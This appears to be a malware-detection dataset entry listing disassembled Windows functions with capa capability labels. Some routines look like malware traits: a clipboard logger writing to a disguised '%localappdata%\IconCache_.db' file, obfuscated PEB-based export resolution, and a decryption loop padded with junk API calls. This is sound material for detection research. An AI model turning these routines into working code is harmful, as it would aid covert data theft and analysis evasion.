joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc7d340
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0xc940a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x218]
xor ebx, ebx
push eax
push 1
push ebx
push 0x9f3388
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x218], ebx
push esi
mov edi, ebx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0xc7d525
lea eax, [ebp - 0x228]
mov dword [ebp - 0x220], ebx
push eax
lea eax, [ebp - 0x224]
mov dword [ebp - 0x224], ebx
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x228], 4
push eax
push ebx
push 0xa2d6e8
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0xc7d525
cmp dword [ebp - 0x220], 4
jne 0xc7d525
cmp dword [ebp - 0x224], 0x10
jne 0xc7d525
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], ebx
push eax
push 1
push ebx
push 0xa2d5d8
push esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0xc7d510
mov esi, 0x208
lea eax, [ebp - 0x20c]
push esi
push ebx
push eax
call fcn.00ab4bf6
add esp, 0xc
mov dword [ebp - 0x22c], esi
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
push ebx
push 0xa2d650
push dword [ebp - 0x214]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0xc7d510
inc edi
mov dword [ebp - 0x210], ebx
call fcn.00c7da36
mov ebx, 0xa2d750
test al, al
jne 0xc7d467
mov ebx, 0xa2d7b8
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x21c], eax
test eax, eax
je 0xc7d492
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
push dword [ebp - 0x21c]
mov esi, eax
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
push esi
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
lea eax, [ebp - 0x210]
xor esi, esi
push eax
push 1
push esi
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0xc7d4fc
lea eax, [ebp - 0x230]
mov dword [ebp - 0x234], esi
push eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], esi
push eax
lea eax, [ebp - 0x234]
mov dword [ebp - 0x230], 4
push eax
push esi
push 0xa2d700
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0xc7d4fc
mov eax, dword [ebp - 0x21c]
dec eax
neg eax
sbb eax, eax
and edi, eax
cmp dword [ebp - 0x210], esi
je 0xc7d510
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
cmp dword [ebp - 0x214], 0
je 0xc7d525
push dword [ebp - 0x214]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
cmp dword [ebp - 0x218], 0
je 0xc7d53a
push dword [ebp - 0x218]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00ab3c50
leave
ret
Function at 0xc7d54b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 1
push esi
push 0x9f3388
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0xc7d5ad
lea eax, [ebp - 0x10]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 4
push eax
push esi
push 0xa2d6e8
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0xc7d5ad
cmp dword [ebp - 8], 4
jne 0xc7d5ad
cmp dword [ebp - 0xc], 0x11
jne 0xc7d5ad
inc esi
cmp dword [ebp - 4], 0
je 0xc7d5bc
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0xc7f62b
Capabilities:
Hash data with md5

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0xc940a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push 0x50
mov dword [ebp - 0x7c], eax
mov ebx, ecx
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00ab4bf6
add esp, 0xc
mov dword [ebp - 0x74], esi
mov edx, edi
mov dword [ebp - 0x78], esi
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x70], 0x67452301
mov dword [ebp - 0x6c], 0xefcdab89
push dword [ebp + 0xc]
mov dword [ebp - 0x68], 0x98badcfe
mov dword [ebp - 0x64], 0x10325476
call fcn.00c7f8b9
lea ecx, [ebp - 0x78]
call fcn.00c7f808
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
lea eax, [ebp - 0x20]
mov esi, dword [ebx]
push eax
push dword [ebp + 0xc]
mov esi, dword [esi]
mov ecx, esi
push edi
call dword [0xc99200]
mov ecx, ebx
call esi
test eax, eax
js 0xc7f6d0
lea eax, [ebp - 0x80]
push eax
push 0x20
push dword [ebp - 0x7c]
lea eax, [ebp - 0xc]
push 8
push eax
call fcn.00c7f6e1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00ab3c50
leave
ret 0x10
Function at 0xc7f6e1
Capabilities:
Encode data using base64

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
xor edx, edx
push esi
push 3
pop esi
lea eax, [ebx + 2]
mov ecx, dword [ebp + 0x10]
div esi
cmp dword [ebp + 0x14], 0
lea edx, [eax*4 + 1]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
jne 0xc7f713
test ecx, ecx
je 0xc7f800
cmp dword [ebp + 0x14], edx
jae 0xc7f722
mov eax, 0x8007007a
jmp 0xc7f802
push edi
xor esi, esi
xor edi, edi
test ebx, ebx
je 0xc7f7d7
mov eax, dword [ebp + 8]
mov dl, byte [esi + eax]
inc esi
cmp esi, ebx
jae 0xc7f746
lfence
mov cl, byte [esi + eax]
inc esi
mov byte [ebp - 1], cl
jmp 0xc7f74a
mov byte [ebp - 1], 0
cmp esi, ebx
jae 0xc7f75a
lfence
mov al, byte [esi + eax]
inc esi
mov byte [ebp - 2], al
jmp 0xc7f75e
mov byte [ebp - 2], 0
movzx ecx, dl
mov edx, dword [ebp + 0x10]
mov eax, ecx
shr eax, 2
and ecx, 3
shl ecx, 4
mov ax, word [eax*2 + 0xa2dd88]
mov word [edx + edi*2], ax
movzx edx, byte [ebp - 1]
mov eax, edx
and edx, 0xf
shr eax, 4
or eax, ecx
shl edx, 2
mov ecx, dword [ebp + 0x10]
mov ax, word [eax*2 + 0xa2dd88]
mov word [ecx + edi*2 + 2], ax
movzx ecx, byte [ebp - 2]
mov eax, ecx
and ecx, 0x3f
shr eax, 6
or eax, edx
mov edx, dword [ebp + 0x10]
mov ax, word [eax*2 + 0xa2dd88]
mov word [edx + edi*2 + 4], ax
mov ax, word [ecx*2 + 0xa2dd88]
mov ecx, edx
mov word [ecx + edi*2 + 6], ax
add edi, 4
mov eax, dword [ebp + 8]
cmp esi, ebx
jb 0xc7f732
push 3
mov eax, ebx
xor edx, edx
pop ebx
div ebx
push 0x3d
pop eax
sub edx, 1
je 0xc7f7ef
sub edx, 1
je 0xc7f7f4
jmp 0xc7f7f9
mov word [ecx + edi*2 - 4], ax
mov word [ecx + edi*2 - 2], ax
xor eax, eax
mov word [ecx + edi*2], ax
pop edi
xor eax, eax
pop esi
pop ebx
leave
ret 0x14
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00401670
push esi
push edi
call dword [sym.imp.USER32.dll_GetClipboardOwner]
test eax, eax
je 0x401079
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x401079
mov eax, dword [ebp - 4]
test eax, eax
je 0x401079
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x401079
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x1000
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x401079
mov eax, dword [ebp - 8]
add eax, eax
jmp 0x40107b
xor eax, eax
mov ecx, dword [section..data]
mov dword [ebp - 0xc], eax
cmp ecx, 0xffffffff
je 0x4010d7
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
test ecx, ecx
je 0x4010b2
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push ecx
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [section..data]
cmp ecx, 0xffffffff
je 0x4010d7
test ecx, ecx
je 0x4010d7
test eax, eax
je 0x4010d7
push 0
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push edx
push eax
lea eax, [ebp - 0x2014]
push eax
push ecx
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.00401670
push 0x1000
lea eax, [ebp - 0x200c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClipboardFormatNameW]
mov ecx, dword [section..data]
add eax, eax
mov dword [ebp - 4], eax
cmp ecx, 0xffffffff
je 0x401160
test ecx, ecx
je 0x401137
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 4
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
mov ecx, dword [section..data]
cmp ecx, 0xffffffff
je 0x401160
test ecx, ecx
je 0x401160
test eax, eax
je 0x401160
push 0
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push edx
push eax
lea eax, [ebp - 0x200c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x401170
Capabilities:
Read clipboard data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [section..data]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 0xffffffff
je 0x4011ad
test eax, eax
je 0x4011ad
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 0x10
lea ecx, [ebp - 0x24]
push ecx
push eax
call ebx
call section..text
push 0
call dword [sym.imp.USER32.dll_EnumClipboardFormats]
mov esi, eax
test esi, esi
je 0x40126d
mov eax, dword [section..data]
mov dword [ebp - 0xc], esi
cmp eax, 0xffffffff
je 0x4011eb
test eax, eax
je 0x4011eb
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 4
lea ecx, [ebp - 0xc]
push ecx
push eax
call ebx
mov ecx, esi
call fcn.004010e0
push esi
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x40122b
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x401225
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4012b4
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [section..data]
mov dword [ebp - 0x10], 0
cmp eax, 0xffffffff
je 0x401256
test eax, eax
je 0x401256
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 4
lea ecx, [ebp - 0x10]
push ecx
push eax
call ebx
push esi
call dword [sym.imp.USER32.dll_EnumClipboardFormats]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test esi, esi
jne 0x4011c4
mov eax, dword [section..data]
mov dword [ebp - 0x14], 0
cmp eax, 0xffffffff
je 0x4012ad
test eax, eax
je 0x40129d
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 4
lea ecx, [ebp - 0x14]
push ecx
push eax
call ebx
mov eax, dword [section..data]
cmp eax, 0xffffffff
je 0x4012ad
test eax, eax
je 0x4012ad
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [section..data]
cmp ecx, 0xffffffff
je 0x4012e0
test ecx, ecx
je 0x4012e0
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 4
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, ebx
call fcn.00401630
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x401256
Function at 0x4014a0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
cmp dword [section..data], 0xffffffff
je 0x4014c2
cmp dword [section..data], 0
je 0x4014c2
xor eax, eax
jmp 0x401623
mov eax, 0x25
mov word [ebp - 0x3c], ax
mov ecx, 0x6c
mov word [ebp - 0x3a], cx
mov edx, 0x6f
mov word [ebp - 0x38], dx
mov eax, 0x63
mov word [ebp - 0x36], ax
mov ecx, 0x61
mov word [ebp - 0x34], cx
mov edx, 0x6c
mov word [ebp - 0x32], dx
mov eax, 0x61
mov word [ebp - 0x30], ax
mov ecx, 0x70
mov word [ebp - 0x2e], cx
mov edx, 0x70
mov word [ebp - 0x2c], dx
mov eax, 0x64
mov word [ebp - 0x2a], ax
mov ecx, 0x61
mov word [ebp - 0x28], cx
mov edx, 0x74
mov word [ebp - 0x26], dx
mov eax, 0x61
mov word [ebp - 0x24], ax
mov ecx, 0x25
mov word [ebp - 0x22], cx
mov edx, 0x5c
mov word [ebp - 0x20], dx
mov eax, 0x49
mov word [ebp - 0x1e], ax
mov ecx, 0x63
mov word [ebp - 0x1c], cx
mov edx, 0x6f
mov word [ebp - 0x1a], dx
mov eax, 0x6e
mov word [ebp - 0x18], ax
mov ecx, 0x43
mov word [ebp - 0x16], cx
mov edx, 0x61
mov word [ebp - 0x14], dx
mov eax, 0x63
mov word [ebp - 0x12], ax
mov ecx, 0x68
mov word [ebp - 0x10], cx
mov edx, 0x65
mov word [ebp - 0xe], dx
mov eax, 0x5f
mov word [ebp - 0xc], ax
mov ecx, 0x2e
mov word [ebp - 0xa], cx
mov edx, 0x64
mov word [ebp - 8], dx
mov eax, 0x62
mov word [ebp - 6], ax
xor ecx, ecx
mov word [ebp - 4], cx
push 0x404
lea edx, [ebp - 0x444]
push edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x40], eax
push 0
push 2
push 4
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x444]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [section..data], eax
cmp dword [section..data], 0xffffffff
jne 0x40160b
xor eax, eax
jmp 0x401623
push 2
push 0
push 0
mov edx, dword [section..data]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x440341
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esi, edi
xor ecx, ecx
jmp 0x4cec40
mov eax, dword [esi]
jmp 0x47deb7
pop ecx
mov ecx, dword [ecx]
lea edi, [ebp - 0x104]
push edi
jmp 0x41c371
lea edx, [ecx + 0x30]
push dword [edx]
pop edx
test edx, edx
jmp 0x451fe8
je 0x42d757
mov edi, dword [ebp + 8]
jmp 0x4f2007
push dword fs:[0x30]
jmp 0x43f8cc
pop ebx
leave
ret 0x10
xor eax, eax
jmp 0x4880a0
jmp 0x4f76cd
sub ecx, 1
mov eax, ecx
shl eax, 1
jmp 0x47a3a8
add esi, 4
inc ecx
call fcn.00405cdf
xor eax, dword [ebp + 0x10]
jmp 0x4cec38
pop ecx
push dword [ecx + 0xc]
pop ecx
push dword [ecx + 0xc]
jmp 0x41611d
mov ax, word [edx + ebx*2]
cmp al, 0x40
jl 0x44a0d9
cmp al, 0x5b
jmp 0x44a0d1
push ebp
jmp 0x440b22
mov ebp, esp
add esp, 0xfffffef4
push ebx
push ecx
jmp 0x4e941b
jg 0x44a0d9
add al, 0x20
stosb byte es:[edi], al
inc ebx
jmp 0x4e0d25
jne 0x451ff6
mov edi, dword [ebp + 0xc]
jmp 0x4f2007
xor ebx, ebx
jmp 0x4400aa
pop esi
pop edi
pop edx
pop ecx
jmp 0x42d8ac
add eax, dword [ebx + 0x24]
add eax, edi
movzx eax, word [eax]
shl eax, 2
jmp 0x4f76cd
or eax, eax
jne 0x47dec4
jmp 0x42d8b1
add eax, edi
jmp 0x42ebac
jmp 0x467ded
jmp 0x42d8b1
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0x10c]
jmp 0x42eb3d
add ebx, edi
push dword [ebx + 0x10]
pop dword [ebp - 0x10c]
cmp dword [ebp + 0x14], 0
jmp 0x4d9353
add ebx, dword [ebx + 0x3c]
lea ebx, [ebx + 0x78]
mov eax, dword [ebx + 8]
mov ebx, dword [ebx]
jmp 0x492de5
test eax, eax
je 0x42eb42
cmp dword [ebp - 0x108], ecx
jne 0x4125a4
jmp 0x49127b
jne 0x491285
push dword [ebx + 0x18]
pop dword [ebp - 0x108]
mov esi, dword [ebx + 0x20]
jmp 0x41259b
test ax, ax
jne 0x4400aa
pop eax
call fcn.00405cdf
jmp 0x4f1ffb
push edx
push edi
push esi
cmp dword [ebp + 8], 0
jmp 0x42d749
xor eax, dword [ebp + 0xc]
jne 0x41611e
mov edi, dword [ecx + 0x18]
mov ebx, edi
jmp 0x49598c
add eax, dword [ebx + 0x1c]
add eax, edi
mov eax, dword [eax]
add eax, edi
jmp 0x467ded
Function at 0x403010
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x46b5e8]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x46b5ec]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], edx
call fcn.00403000
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x46b5f0]
mov edx, dword [0x46b5f4]
add edi, 0x23f
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea esp, [esp]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x472de4]
shl esi, 4
add esi, dword [ebp - 0x1c]
cmp eax, 0xfa9
jne 0x40309c
mov dword [0x472de0], 0xedeb2e40
jmp 0x4030b7
cmp eax, 0x3eb
jne 0x4030b7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x472870], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x472de4], 0x9e6
mov dword [0x472ddc], 0xf4ea3dee
jne 0x4030ee
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor dword [ebp - 4], esi
cmp dword [0x472de4], 0x213
jne 0x40316a
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [ebp - 0x4c4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
lea ecx, [ebp - 0xcc4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [ebp - 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub ebx, dword [ebp - 4]
cmp dword [0x472de4], 0xc
jne 0x40318e
lea edx, [ebp - 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov eax, ebx
shr eax, 5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov esi, ebx
shl esi, 4
add esi, dword [ebp - 0x14]
lea ecx, [edi + ebx]
xor esi, ecx
cmp dword [0x472de4], 0xb03
jne 0x4031c9
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x24]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x403070
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403200
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x472de4]
shr eax, 3
push ebx
mov ebx, dword [0x472874]
test eax, eax
jbe 0x403287
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [ebp - 4], eax
jmp 0x403230
cmp dword [0x472de4], 0x959
jne 0x403276
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push ebx
call fcn.00403010
add ebx, 8
sub dword [ebp - 4], 1
jne 0x403230
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409fdc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46aea0]
jne 0x409fe6
repz ret
jmp fcn.0040dc20

Function at 0x40d9e3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408493
and dword [ebp - 4], 0
cmp dword [0x470874], 0
mov ebx, eax
jne 0x40da94
push 0x402530
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40db45
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402524
push edi
call esi
test eax, eax
je 0x40db45
push eax
call fcn.00408421
mov dword [esp], 0x402514
push edi
mov dword [0x470874], eax
call esi
push eax
call fcn.00408421
mov dword [esp], 0x402500
push edi
mov dword [0x470878], eax
call esi
push eax
call fcn.00408421
mov dword [esp], 0x4024e4
push edi
mov dword [0x47087c], eax
call esi
push eax
call fcn.00408421
pop ecx
mov dword [0x470884], eax
test eax, eax
je 0x40da94
push 0x4024cc
push edi
call esi
push eax
call fcn.00408421
pop ecx
mov dword [0x470880], eax
mov eax, dword [0x470880]
cmp eax, ebx
je 0x40daec
cmp dword [0x470884], ebx
je 0x40daec
push eax
call fcn.0040849c
push dword [0x470884]
mov esi, eax
call fcn.0040849c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40daec
test edi, edi
je 0x40daec
call esi
test eax, eax
je 0x40dae3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40dae3
test byte [ebp - 0xc], 1
jne 0x40daec
or dword [ebp + 0x10], 0x200000
jmp 0x40db25
mov eax, dword [0x470878]
cmp eax, ebx
je 0x40db25
push eax
call fcn.0040849c
pop ecx
test eax, eax
je 0x40db25
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40db25
mov eax, dword [0x47087c]
cmp eax, ebx
je 0x40db25
push eax
call fcn.0040849c
pop ecx
test eax, eax
je 0x40db25
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x470874]
call fcn.0040849c
pop ecx
test eax, eax
je 0x40db45
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40db47
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret